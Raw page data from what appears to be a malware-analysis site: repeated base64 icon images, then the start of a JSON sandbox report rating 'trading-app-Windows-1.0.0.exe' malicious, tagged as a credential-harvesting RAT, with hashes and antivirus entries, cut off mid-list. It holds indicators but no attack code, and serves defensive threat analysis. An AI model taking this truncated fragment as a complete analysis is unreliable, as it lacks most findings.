10VWoKzCCrN7nbaL6vfvaAeDCZUAYgEGnU33xloAUiL9cQ/HQMVhjZzE5sBGz0WHIr7+90GCnEAB2wCKxq1ouo0tX9Aa3z7nPuHcbarYAKZOFTKWpjJ1GWa4iL5WBTAaWizzRHYa62gd7VQjWqiC0UJJOxsBFnVxi3moYhDvpnNzb8HJjjylp6GJdrROl5SKUPQIqYydhlmtQrnyJYv8IDJ6kBNDfB/3wxzDd61E7ew5ifDOMyQnUIiPQPINQvv8Z0jffoe5ZC/vadTzetBPG9UmUPj/bZqdckdGFmapzgyHmKOm6RoD0xTiyxSKq7nXkBQl5VYOefgA7mKAQxWGkM8j1pVD2DUA7dwElIYrim+8AORn6mj7IP12FcvQUNbI+KBs3o8Iamr+dYZWKNB9AIz49SRj5GWizGdjdXugharPBELA6CVGsQ+0VHADUclGQoIXDmE5sgezzUzgiSMeGUYgOoUilVstn+V7LFcS91CjurB9tB1AmABVKBH5yKjVWbvZv12EU8tDFHMypItQfryJNVVI4fQZiSaTYE5F4Q8iev4JyiNjN7QcmJ2FN3IJN/2PiL4jnLkEW1kO7eBkWecC4cwu4fR9mYG0bALlYoRzQzEaixDjazPZXMLNtL2a270F6x26oP1yFXS3Cmr6PXHSE4k5gH2SQ37qjpcjmHiQdLDlJh+l1eINVD3/GkryXHXDOuM4qq2I4ZaixDWyQoAcT60ZpIxHLSsrY0CDqrC0TwZgUe9uTgr0yADPWT2RCtEr8rgjDqK0Jouph/CAgF2A5ksDN/g2UC5Tp1FnF1BBVSIRIq98JM1VByR8nMqqBz3oTL+6iGBPxEIC/DxzAvS27MfnJKWT3v8tPZJ8fR52STTr5Gcw/bkC59BUKh45CHb+I7PuHYNHeB4ePIJ0cgv3t16gJCdTeOEgccQZ3fUk83LYH1dVRGMc+dTy2QkBp/Dw1JGJC1pmsXJ4eRDgAeAWYfuYyeoH1hTVsIqL7dI9TcncU+gofeS0Gk+jYoAQDJabFuih1O9Ufgkb3rZ4ItJ4gLH+YPMXCEOYe5CHwk+dKjbas0GiQF8uoBpOOgWY3bAyaLDmduDG2dO6xGPNybZJOaz8joIYOFnO6Gj72fO5dtn9qaCt0RZvXktl4kk47REPxm5+pz0tY0jHj9gt+aIUizQDm3FDCBxKaXtkAyWfARRQsTxwP1ClRCx+doE+HeQNJCwQ5oUgzm0F1bnnIC2wEXzB+P4s4Okx3AqIwghKrOiwynDYno9l8HiI1DTbDsTFqocKlC3O7Q+8pzIQTkObHvXNxAA0QZdqoUfZb3uUBsFmyhtYiGxxEVaau+yTjnYuNzmx6/XPXPpi9QUdhI4tbVfIkaWU7+4pK8pgXJWVphpur6Q3+kVko0RfSMFRvAEYPY7tBp9w6DbMTu1KcNwxPEI8GNsFivYMSbtGY/9dqxolddfoll8qoV+uYPXIMktC/6Kcai7foTyBz+QoUuQSNx1t9csyfZnFv0ClMzaAOVqBRSkeJ3Fqnfs5EE2XeWGS5zum16cFOPYutfwGZS+pVBBSyFQAAAABJRU5ErkJggg==6c:T924,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6d:T924,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6e:T924,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6f:T924,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70:T924,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1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791076378359,"unified_at":"2026-10-04T01:12:58.359Z","metadata":{"hashes":{"sha256":"b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800","sha1":"554238c47a93363c776508c3e1919d1ee9925e40","md5":"2bf5603d32b01a4a6932a01517452d0c","sha512":"d4ec33c212ced0719f5672bd58c1f9251d0097d29552a330341f2fa9ff93415fa52e8f7060d4f40566ae23d2dff65c1c3227ab12a016c2089c62f856d477a9c4","ssdeep":"1572864:Se4hdV6xf7HOAynQ3Y9GF0J2/3M4fvHLTkEg8u6CRuj7:Se4DoxfbOPI/0A/3/vHL88pOuj7","ssdeep_chunks":["1572864:Se4hdV6","1572864:e4hdV6x","1572864:4hdV6xf","1572864:hdV6xf7","1572864:dV6xf7H","1572864:V6xf7HO","1572864:6xf7HOA","1572864:xf7HOAy","1572864:f7HOAyn","1572864:7HOAynQ","1572864:HOAynQ3","1572864:OAynQ3Y","1572864:AynQ3Y9","1572864:ynQ3Y9G","1572864:nQ3Y9GF","1572864:Q3Y9GF0","1572864:3Y9GF0J","1572864:Y9GF0J2","1572864:9GF0J2/","1572864:GF0J2/3","1572864:F0J2/3M","1572864:0J2/3M4","1572864:J2/3M4f","1572864:2/3M4fv","1572864:/3M4fvH","1572864:3M4fvHL","1572864:M4fvHLT","1572864:4fvHLTk","1572864:fvHLTkE","1572864:vHLTkEg","1572864:HLTkEg8","1572864:LTkEg8u","1572864:TkEg8u6","1572864:kEg8u6C","1572864:Eg8u6CR","1572864:g8u6CRu","1572864:8u6CRuj","1572864:u6CRuj7","3145728:Se4hdV6","3145728:e4hdV6x","3145728:4hdV6xf","3145728:hdV6xf7","3145728:dV6xf7H","3145728:V6xf7HO","3145728:6xf7HOA","3145728:xf7HOAy","3145728:f7HOAyn","3145728:7HOAynQ","3145728:HOAynQ3","3145728:OAynQ3Y","3145728:AynQ3Y9","3145728:ynQ3Y9G","3145728:nQ3Y9GF","3145728:Q3Y9GF0","3145728:3Y9GF0J","3145728:Y9GF0J2","3145728:9GF0J2/","3145728:GF0J2/3","3145728:F0J2/3M","3145728:0J2/3M4","3145728:J2/3M4f","3145728:2/3M4fv","3145728:/3M4fvH","3145728:3M4fvHL","3145728:M4fvHLT","3145728:4fvHLTk","3145728:fvHLTkE","3145728:vHLTkEg","3145728:HLTkEg8","3145728:LTkEg8u","3145728:TkEg8u6","3145728:kEg8u6C","3145728:Eg8u6CR","3145728:g8u6CRu","3145728:8u6CRuj","3145728:u6CRuj7","1572864:Se4Doxf","1572864:e4Doxfb","1572864:4DoxfbO","1572864:DoxfbOP","1572864:oxfbOPI","1572864:xfbOPI/","1572864:fbOPI/0","1572864:bOPI/0A","1572864:OPI/0A/","1572864:PI/0A/3","1572864:I/0A/3/","1572864:/0A/3/v","1572864:0A/3/vH","1572864:A/3/vHL","1572864:/3/vHL8","1572864:3/vHL88","1572864:/vHL88p","1572864:vHL88pO","1572864:HL88pOu","1572864:L88pOuj","1572864:88pOuj7"],"imphash":"b34f154ec913d2d2c435cbd644e91687"},"file_info":{"file_name":"trading-app-Windows-1.0.0.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":77605834,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1747831338000,"last_seen":1747831338000,"last_multi_scan":1747831338000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["credentialharvesting","targeted","invisibleferret","famouschollima","rat","malicious"]},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":87},"sandbox_signatures":{"informative_count":200,"suspicious_count":19,"malicious_count":11,"total":230},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender"